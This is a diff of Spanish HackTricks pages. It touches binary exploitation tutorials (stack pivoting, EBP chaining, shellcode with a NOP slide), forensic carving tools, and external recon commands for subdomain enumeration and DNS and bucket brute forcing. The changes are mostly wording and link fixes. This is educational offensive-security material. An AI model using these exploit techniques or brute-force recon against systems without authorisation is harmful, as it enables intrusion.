 - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
 - ARM64, off-by-one para llamar a una función win
 

src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -18,25 +18,25 @@ Y como el **EBP está en la pila** antes del EIP, es posible controlarlo control
 
 Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse.
 
-Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\
-Nota cómo **necesitas conocer 2 direcciones**: La que donde va a ir el ESP, donde necesitarás escribir la dirección a la que apunta el ESP.
+Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que efectivamente apunte a una dirección almacenada por el atacante allí.**\
+Nota cómo **necesitas conocer 2 direcciones**: La que donde el ESP va a ir, donde necesitarás escribir la dirección a la que apunta el ESP.
 
 #### Construcción del Exploit
 
-Primero necesitas conocer una **dirección donde puedas escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**.
+Primero necesitas conocer una **dirección donde puedes escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**.
 
 Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará código arbitrario**. Podrías usar:
 
 - Una dirección válida de [**ONE_GADGET**](https://github.com/david942j/one_gadget).
 - La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (bits x86).
 - La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguida del **shellcode** a ejecutar.
-- Alguna cadena de [**ROP**](../rop-return-oriented-programing/).
+- Alguna cadena [**ROP**](../rop-return-oriented-programing/index.html).
 
 Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y continuar controlando la ejecución.
 
 #### Exploit Off-By-One
 
-Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando puedes **modificar solo el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.\
+Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.\
 Usualmente se modifica el byte 0x00 para saltar lo más lejos posible.
 
 Además, es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final.
@@ -47,14 +47,14 @@ Por lo tanto, al poner una dirección controlada en la entrada `EBP` de la pila
 
 Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP esto:
 
-- **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`
-- **`system()`** -> Llamado por `ret`
-- **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo
-- **`&("/bin/sh")`**-> Parámetro para `system`
+- **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`.
+- **`system()`** -> Llamado por `ret`.
+- **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo.
+- **`&("/bin/sh")`**-> Parámetro para `system`.
 
 Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa.
 
-Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite.
+Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite.
 
 Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con una **fuga de pila** para llamar a una función ganadora. Este es el payload final de la página:
 ```python
@@ -94,7 +94,7 @@ print(p.recvline())
 ```
 ## EBP podría no ser utilizado
 
-Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\
+Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene un efecto real.\
 Esto se debe a que los **cambios de prólogo y epílogo** si el binario está optimizado.
 
 - **No optimizado:**
@@ -192,7 +192,7 @@ Consulta la técnica ret2esp aquí:
 
 ## ARM64
 
-En ARM64, los **prologos y epílogos** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**.
+En ARM64, el **prologo y epílogo** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**.
 
 Por lo tanto, por defecto, solo abusando del epílogo **no podrás controlar el registro SP** sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**.
 
@@ -213,7 +213,7 @@ ret
 ```
 
 > [!CAUTION]
-> La forma de realizar algo similar a la pivotación de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él.
+> La forma de realizar algo similar al pivoting de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él.
 
 También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**:
 

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -28,7 +28,7 @@ Este programa es vulnerable a un desbordamiento de búfer debido al uso de la fu
 
 ### Compilación
 
-Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:
+Para compilar este programa mientras desactivas varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
@@ -68,13 +68,13 @@ p.interactive()
 ```
 Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute.
 
-El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección inicial de tu buffer más un desplazamiento para aterrizar en el NOP slide.
+El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un desplazamiento para aterrizar en el NOP slide.
 
 ## Protecciones
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la dirección sea confiable en todas las ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
-- La protección de **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
+- La protección **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable.
 
 ## Otros Ejemplos y Referencias
 

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -2,17 +2,17 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Carving & Recovery tools
+## Herramientas de Carving y Recuperación
 
 Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 
 ### Autopsy
 
-La herramienta más común utilizada en forenses para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
+La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
 
 ### Binwalk <a href="#binwalk" id="binwalk"></a>
 
-**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk).
+**Binwalk** es una herramienta para analizar archivos binarios para encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk).
 
 **Comandos útiles**:
 ```bash
@@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
 ### Foremost
 
-Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto.
+Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descomenta esos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
@@ -38,13 +38,13 @@ scalpel file.img -o output
 ```
 ### Bulk Extractor
 
-Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+Esta herramienta viene dentro de kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
 Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer:
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
+Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/index.html)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
 
 ### PhotoRec
 
@@ -67,7 +67,7 @@ Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web
 - Obteniendo **patrones** para criptoanálisis en archivos
 - **Detectando** algoritmos de empaquetado o codificación
 - **Identificar** esteganografía por patrones
-- **Visual** de diferencias binarias
+- **Diferenciación** binaria visual
 
 BinVis es un gran **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra.
 

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md

@@ -4,12 +4,12 @@
 
 ## Autopsy
 
-La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
+La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
 
 ## Binwalk <a id="binwalk"></a>
 
-**Binwalk** es una herramienta para buscar archivos binarios como imágenes y archivos de audio en busca de archivos y datos incrustados. 
-Se puede instalar con `apt`, sin embargo, la [fuente](https://github.com/ReFirmLabs/binwalk) se puede encontrar en github. 
+**Binwalk** es una herramienta para buscar archivos binarios como imágenes y archivos de audio en busca de archivos y datos incrustados.  
+Se puede instalar con `apt`, sin embargo, la [fuente](https://github.com/ReFirmLabs/binwalk) se puede encontrar en github.  
 **Comandos útiles**:
 ```bash
 sudo apt install binwalk #Insllation
@@ -19,7 +19,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
 ```
 ## Foremost
 
-Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará los tipos de archivos configurados por defecto.
+Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descomenta esos. Si no descomentas nada, foremost buscará los tipos de archivos configurados por defecto.
 ```bash
 sudo apt-get install foremost
 foremost -v -i file.img -o output
@@ -40,7 +40,7 @@ Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, *
 ```text
 bulk_extractor memory.img -o out_folder
 ```
-Navega a través de **toda la información** que la herramienta ha recopilado \(¿contraseñas?\), **analiza** los **paquetes** \(lee [**análisis de Pcaps**](../pcap-inspection/)\), busca **dominios extraños** \(dominios relacionados con **malware** o **inexistentes**\).
+Navega a través de **toda la información** que la herramienta ha recopilado \(¿contraseñas?\), **analiza** los **paquetes** \(lee [**análisis de Pcaps**](../pcap-inspection/index.html)\), busca **dominios extraños** \(dominios relacionados con **malware** o **inexistentes**\).
 
 ## PhotoRec
 

src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -2,13 +2,13 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Carving & Recovery tools
+## Herramientas de Carving y Recuperación
 
 Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 
 ### Autopsy
 
-La herramienta más común utilizada en forenses para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
+La herramienta más común utilizada en forenses para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
 
 ### Binwalk <a href="#binwalk" id="binwalk"></a>
 
@@ -38,13 +38,13 @@ scalpel file.img -o output
 ```
 ### Bulk Extractor
 
-Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+Esta herramienta viene dentro de kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
 Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer:
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
+Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/index.html)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
 
 ### PhotoRec
 
@@ -63,7 +63,7 @@ Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web
 - Visualizador de **estructura** visual y activa
 - Múltiples gráficos para diferentes puntos de enfoque
 - Enfocándose en porciones de una muestra
-- **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo
+- **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo.
 - Obteniendo **patrones** para criptoanálisis en archivos
 - **Detectando** algoritmos de empaquetado o codificación
 - **Identificar** esteganografía por patrones

src/generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -56,7 +56,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
 
 ### **Buscando vulnerabilidades**
 
-En este punto conocemos **todos los activos dentro del alcance**, así que si se te permite, podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
+En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
 Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
 **Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
 
@@ -70,7 +70,7 @@ Primero que nada, deberías buscar el(los) **dominio(s) principal(es)** de cada
 
 ### **DNS inverso**
 
-Como has encontrado todos los rangos de IP de los dominios, podrías intentar realizar **búsquedas de DNS inverso** en esas **IPs para encontrar más dominios dentro del alcance**. Intenta usar algún servidor DNS de la víctima o algún servidor DNS bien conocido (1.1.1.1, 8.8.8.8)
+Como has encontrado todos los rangos de IP de los dominios, podrías intentar realizar **búsquedas de dns inverso** en esas **IPs para encontrar más dominios dentro del alcance**. Intenta usar algún servidor dns de la víctima o algún servidor dns bien conocido (1.1.1.1, 8.8.8.8)
 ```bash
 dnsrecon -r <DNS Range> -n <IP_DNS>   #DNS reverse of all of the addresses
 dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -90,8 +90,8 @@ Puedes usar herramientas en línea como:
 - [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
 - [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API.
 - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
-- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No gratis (solo **100 gratis** búsquedas)
-- [https://www.domainiq.com/](https://www.domainiq.com) - No gratis
+- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas)
+- [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
 
 Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\
 También puedes realizar un descubrimiento automático de reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
@@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
 
 Dicho de manera simple, favihash nos permitirá descubrir dominios que tienen el mismo hash de icono favicon que nuestro objetivo.
 
-Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**esta publicación del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web** puedes buscar en shodan y **encontrar más lugares vulnerables**:
+Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**este artículo del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web** puedes buscar en shodan y **encontrar más lugares vulnerables**:
 ```bash
 shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
 ```
@@ -159,11 +159,11 @@ Puedes usar una web como [https://dmarc.live/info/google.com](https://dmarc.live
 
 ### **Toma Pasiva**
 
-Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en la nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**.
+Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**.
 
 [**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
 
-### **Otras maneras**
+### **Otras formas**
 
 **Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
 
@@ -179,7 +179,7 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el
 
 ### **Buscando vulnerabilidades**
 
-Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando un dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
+Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando un dominio** pero **haya perdido la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
 
 Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
 &#xNAN;_&#x4E;ote que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
@@ -282,12 +282,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
 }
 crt tesla.com
 ```
-- [**gau**](https://github.com/lc/gau)**:** recupera URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
+- [**gau**](https://github.com/lc/gau)**:** obtiene URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
 ```bash
 # Get subdomains from GAUs found URLs
 gau --subs tesla.com | cut -d "/" -f 3 | sort -u
 ```
-- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí.
+- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **y** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí.
 ```bash
 # Get only subdomains from SubDomainizer
 python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@@ -319,7 +319,7 @@ Este proyecto ofrece **gratis todos los subdominios relacionados con programas d
 
 Puedes encontrar una **comparación** de muchas de estas herramientas aquí: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
 
-### **Fuerza bruta de DNS**
+### **Fuerza bruta DNS**
 
 Intentemos encontrar nuevos **subdominios** forzando servidores DNS usando posibles nombres de subdominio.
 
@@ -333,19 +333,19 @@ Para esta acción necesitarás algunas **listas de palabras comunes de subdomini
 
 Y también IPs de buenos resolutores DNS. Para generar una lista de resolutores DNS de confianza, puedes descargar los resolutores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O podrías usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
 
-Las herramientas más recomendadas para fuerza bruta de DNS son:
+Las herramientas más recomendadas para fuerza bruta DNS son:
 
-- [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta de DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos.
+- [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos.
 ```bash
 sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
 ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
 grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
 ```
-- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolvedor
+- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo utiliza 1 resolvedor
 ```
 gobuster dns -d mysite.com -t 50 -w subdomains.txt
 ```
-- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
+- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando un ataque de fuerza bruta activo, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
 ```
 shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
 ```
@@ -370,7 +370,7 @@ cat subdomains.txt | dnsgen -
 ```bash
 goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
 ```
-- [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator usará el suyo propio.
+- [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator usará uno propio.
 ```
 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
 ```
@@ -399,7 +399,7 @@ puredns resolve adobe.brute --write adobe.valid
 ```
 echo www | subzuf facebook.com
 ```
-### **Flujo de Trabajo para el Descubrimiento de Subdominios**
+### **Flujo de Trabajo de Descubrimiento de Subdominios**
 
 Revisa esta publicación de blog que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **Trickest workflows** para no tener que lanzar manualmente un montón de herramientas en mi computadora:
 
@@ -438,7 +438,7 @@ VHostScan -t example.com
 > [!NOTE]
 > Con esta técnica, incluso podrías acceder a endpoints internos/ocultos.
 
-### **Fuerza Bruta CORS**
+### **CORS Brute Force**
 
 A veces encontrarás páginas que solo devuelven el encabezado _**Access-Control-Allow-Origin**_ cuando se establece un dominio/subdominio válido en el encabezado _**Origin**_. En estos escenarios, puedes abusar de este comportamiento para **descubrir** nuevos **subdominios**.
 ```bash
@@ -446,8 +446,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
 ```
 ### **Fuerza Bruta de Buckets**
 
-Mientras buscas **subdominios**, presta atención a ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
+Mientras buscas **subdominios**, presta atención a ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
+Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
 ### **Monitorización**
 
